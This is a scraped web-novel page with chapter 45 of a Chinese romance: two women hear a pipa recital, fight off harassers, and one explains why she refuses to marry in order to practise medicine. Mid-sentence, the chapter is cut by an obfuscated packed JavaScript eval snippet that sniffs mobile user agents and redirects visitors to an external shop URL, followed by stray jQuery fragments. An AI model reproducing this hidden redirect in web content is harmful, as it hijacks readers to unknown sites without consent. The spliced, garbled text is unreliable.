文趣网 > 其他小说 > 君踏山河,我守清安 > 45.明志
    二人到了醉春坊,临进门前,宁芷还是买了帷帽带上,丽娘也照做,她虽不在意,却也不能让人有机会议论少帅夫人。

    “今日是绿袖姐姐弹琵琶的日子,怪不得这么多人。”宁芷说:“你一来便赶上了好时候。”

    丽娘欣然道:“京城的酒楼真大,装饰也雅致,不知道这位绿袖是何等绝色佳人,能担得起京中花魁之名。”

    宁芷道:“花魁不全在容貌。当年锦韶姐姐琵琶京城一绝,她走后便是绿袖承继,虽名声比不上锦韶姐姐,但技艺仍是一绝,姐姐听了便知。”

    正说着,宁芷目光忽地顿住,丽娘顺着看去,只见左前方座上四名男子谈笑甚欢,其中便有自己的丈夫与沈聿。

    丽娘见状,下意识便要起身上前相认。宁芷忙抓住她手臂按了下去,说道:“姐姐,你想让这里的人都知道你的身份吗?”

    丽娘这才坐下,整了整帷帽,道:“官人带我去过我们那儿的戏园子,也常见夫妻同去,京城怎么规矩这般严。”

    宁芷说:“京城人多嘴碎,姐姐又来自外乡,那些达官贵人见了准会背后议论,何苦让他们嚼舌根。”

    宁芷又朝那边看了一眼,另外两人一个是自己的哥哥,还有一个是崔时。

    宁泽自从母亲故去就转了玩乐的性子,成天端着一副老成持重的派头。可如今仿佛又回到了初来京城的的时候,眉眼飞扬,频频主动搭话攀谈,笑意热烈,殷勤亲近。

    宁芷不忍多看,心里嘀咕:“哥,你能不能矜持些,别老是往段少帅跟前凑行吗,笑容能稍微收一些吗,崔时都比你稳重。”

    丽娘也往那边看去,噗嗤一笑道:“阿芷,你兄长瞧着好有趣。”

    宁芷不好意思道:“我哥性子跳脱,从小也喜欢舞枪弄棒,头回见你们那晚,他就很仰慕少帅,还跟我说想去参军。”

    丽娘笑道:“难怪看着这么喜欢我家官人。只是万不可将郎中这门手艺丢了,悬壶济世,多好的营生。”

    丽娘语中似有感叹,宁芷心中触动,问道:“姐姐,你平日可是常为段少帅担心?”

    “怎能不担心?”丽娘收敛了笑意,道:“每回他出征,我的心便悬着。回来时常带一身伤,又不知他下次何时再走、去多久。”

    宁芷握了握她的手。丽娘又道:“战场凶险,他这般辛苦,却至今无后。我曾劝他纳妾,他却不肯。”

    宁芷道:“姐姐放宽心,好生调养,自然能得偿所愿。”

    丽娘道:“这次来京城,多亏了你和沈聿兄弟,官人心情也好了不少。”

    宁芷笑道:“段少帅心情好,还不是因姐姐心情好,你们夫妻恩爱,羡煞旁人。”

    丽娘难得红了脸,笑道:“等你出嫁了,我再笑话你。”

    两人正低语闲谈,只听一阵琵琶声悠悠响起,场中众人都不再言语,齐齐看向台上。帘幕拉开,一个女子衣袂翩跹,抱琵琶端坐于席,面上覆着轻纱,容颜在纱后若隐若现,平添几分朦胧韵致。

    丽娘感叹道:“这衣服样式还有头面首饰可真好看,就算看不清脸,只看个轮廓,也知道是美人。”

    话音方落,台上绿袖低眉调弦,铮铮数声过后,指尖便如行云流水般在弦上翻飞起来。沈聿等人都停了交谈,听得仔细,丽娘更是听出了神,曲调悲戚婉转,如泣如诉,众人都心有戚戚,一曲弹罢,满座静默无声。

    丽娘眼中含泪,怔怔望着段铮。宁芷循她目光望去,只见段铮也在出神。宁芷心中叹息,军中眷属,聚少离多,当真不易。所幸段铮与丽娘情深意笃,尚可慰藉。

    忽然,停了半晌的弦音又响了起来,只是这次却换了欢快调子,如珠落玉盘、鸟鸣春涧,众人神色随之舒展,面上带上笑意。第二曲毕,满堂喝彩,绿袖起身盈盈一礼,悄然退场。

    丽娘赞道:“当真是京城第一,我算是开了眼界。”

    宁芷道:“姐姐若有机缘,我带你听一听锦韶姐姐的琵琶,那才是天下第一。”

    丽娘欣然道:“好,一言为定。”

    二人牵手欲往外走,方行数步,忽被几个人拦住去路。为首一人满脸胡茬,嬉皮笑脸道:“来醉春坊这么些回,还没见过戴帷帽的姑娘。来,把帽子摘了,让爷们瞧瞧。”

    突生变故,宁芷心头一紧,拉着丽娘的手,把她往身后带,转头寻沈聿几人,却发现席位已然空空如也。

    丽娘却从容不迫,反手安抚地拍了拍宁芷,上前一步,声气凛然:“让开,休要挡路。”

    “想走?”大汉哈哈一笑,伸臂撑住廊柱,横在当道:“从我胳膊下面钻过去。”

    话音未落,只见丽娘一把扣住男子手腕,顺势一拧,反剪于背后。男子吃痛,怒而转身,方动半分,丽娘手上再加力道,他登时疼得倒抽冷气,身子都弯了下去。其余几人本在旁看热闹,见同伴吃亏,犹豫着围拢上来,一人朝宁芷扑去。丽娘飞起一脚,踢起旁边圆凳,那人躲闪不及,被绊得摔了个嘴啃地。

    他恼羞成怒,爬起来就往宁芷那边扑过去,堪堪要到近前,宁芷只觉手腕一紧,被人往后一带,那扑来的汉子力道落空,踉跄几步,直直跪跌在二人跟前。

    宁芷抬眼一看,沈聿挡在她身前。

    丽娘见他们过来,便松了钳制。那大汉还不死心,抬手又要打,手臂却被另一人攥住,段铮道:“还想动手?”

    大汉只觉自己手腕筋骨几欲碎裂,如铁钳夹住般动弹不得,抬眼一看,眼前年轻人举手投足无不带着杀伐之气,此刻看着他,眼神锐利,令人生寒。

    他气势登时矮了三分,喃喃道:“不打了……我们这就走。”

    段铮松了手,大汉低头捂着手臂,领着一帮人钻出了人群。

    沈聿这才松开宁芷手腕,闲闲倚在廊柱旁,笑道:“两位姑娘来此烟花重地,意欲何为?”

    丽娘瞥了眼旁边,丈夫正站在几步外,含笑望着自己。她不由笑了出来,道:“沈聿兄弟,你这沾花惹草的性子收一收,别调戏到我头上。”

    沈聿连连作揖:“原来是嫂嫂,失敬失敬。”

    丽娘道:“你们怎么不站一边看好戏了?”

    沈聿笑嘻嘻道:“大哥说你身手好,那几个人不在话下。”

    丽娘挑眉:“那你又过来出什么头?”

    沈聿轻咳一声,正巧瞥见崔时走来,忙扯开话头:“子安,过来见礼,这位便是段夫人。”

    崔时上前,毕恭毕敬拱手:“嫂子。”

    丽娘笑道:“原来这位就是崔公子。”

    崔时惶恐,自己是很有名的人物了吗?

    只听丽娘又道:“崔公子金榜题名又抱得美人归,西南军中可是传遍了。”

    崔时瞥了沈聿一眼,心里乐开了花,面上却一派稳重,道:“不值一提,不值一提。”

    宁泽凑过来道:“阿芷,你怎么带嫂子跑这儿来了?还好我们在,不然你们如何脱身?”

    宁芷说:“方才我还以为你们都走了。”

    崔时道:“本来已走到门口了,彦卿一转头,瞧见你们,又折回来了。”

    丽娘笑道:“沈聿兄弟和阿芷当真心有灵犀。”

    崔时顺势接话:“嫂子说得极是,这可不是头一回英雄救美了。”

    宁芷脸上微烫,扯了扯丽娘袖子,道:“姐姐,咱们还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17717058|206686||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    要去潘楼看衣裳呢。”

    丽娘会意,便顺着话头道:“好,那咱们先走。”又转向几个男子,笑吟吟道:“你们慢慢聊,我们买衣裳去。”

    出了醉春坊,街上微风拂面,宁芷抬手取下帷帽,丽娘打趣道:“妹妹,你脸红了。”

    宁芷道:“我和小侯爷之间没什么,姐姐别打趣我。”

    丽娘道:“你这样想,沈聿可不这样想,他亲口同我说心里有你。”

    宁芷沉默一瞬,道:“可是我早已决意不成亲了。”

    丽娘讶然道:“你以前不是愿意嫁到侯府么?侯夫人去提亲,你也没推拒。”

    “那时候…我确是愿意的,心里也欢喜。”宁芷顿了顿,又道:“可人与人之间的缘分,常常阴差阳错。”

    “是不是因为他做了将军?”

    “是,但也不全是。”

    丽娘征住,宁芷说道:“娘去世后,我自己坐诊,看了许多病人,我喜欢做郎中,往后也想行医救人、云游四方、钻研医理,甚至整理医书、救济流民。可若嫁入侯府,便要困在深宅后院,守着规矩过一辈子。”

    丽娘道:“女子在世,本就艰难。深宅后院既是束缚,却也是庇护。你那次遇险,难道不后怕吗?若你是侯府少夫人,谁敢冒犯你?”

    宁芷道:“本来是怕的,可转念一想,大不了便是一死,反而不怕了。”

    丽娘蹙眉:“你才多大年纪,什么生啊死的,可别把这些挂在嘴边。”

    “许是行医日久,见惯了生离死别。”宁芷看着丽娘道:“姐姐,你和少帅属实不易,我真心佩服你,可我自己做不到。小侯爷因我之故,被逼离京,弃了安稳日子,走上这条险路。有朝一日,我愿为救他而死,却不愿守在府中,日日等他,等到终老。”

    “而且…”她停顿一下,道:“我的出身…非但帮不了他,反会成了他的软肋。”

    丽娘道:“你下定决心了吗?”

    宁芷点头:“嗯。”

    丽娘叹道:“我看得出来,你心里有他,他心里也有你,有情人却不能成眷属。你说的这些,我并非全懂。但你既已决意,我也不强劝。”

    宁芷迟疑了一下,道:“今日这些话……是他的意思么?”

    丽娘笑了:“来的路上,他反复叮嘱,要我说得委婉些,不要吓到你。”

    她摇头道:“我说得够直接了,结果是你吓到我了,我都没想到,你不愿做这侯府娘子。”

    “不过。”丽娘正色道:“沈聿一人没福,世间千千万万女子却有福,我代她们谢你。”

    宁芷道:“千千万万还远没有,能像娘一样,一辈子悬壶济世,便不枉此生了。”

    入夜,丽娘将白日对话说与段铮听。段铮沉吟片刻道:“且晚几日告诉他,事情说不定还有转圜的余地。”

    丽娘点点头。

    段铮又道:“宁姑娘说的,也在理。”

    他自己每上战场,便将生死置于身后,不敢想家人、不能想归期,想得多了,便没了胆量。

    他握了丽娘的手,道:“跟着我,苦了你了。”

    丽娘反手与他十指相扣,笑道:“人各有志,我只想陪你一辈子,若哪一天你回不来,我就去找你…”

    “说什么孩子话。”段铮打断她,正色道:“都是快要做娘亲的人了。”

    他说着便欺身上前,堵住她的嘴。丽娘被亲得喘不上气,好容易挣开,笑着捶他:“每回说起这个你就这样。”

    段铮将她打横抱起,一面往卧房走一面道:“谁让你乱说话,今晚可饶不了你。”

    丽娘搂住他脖子,笑倒在他怀里。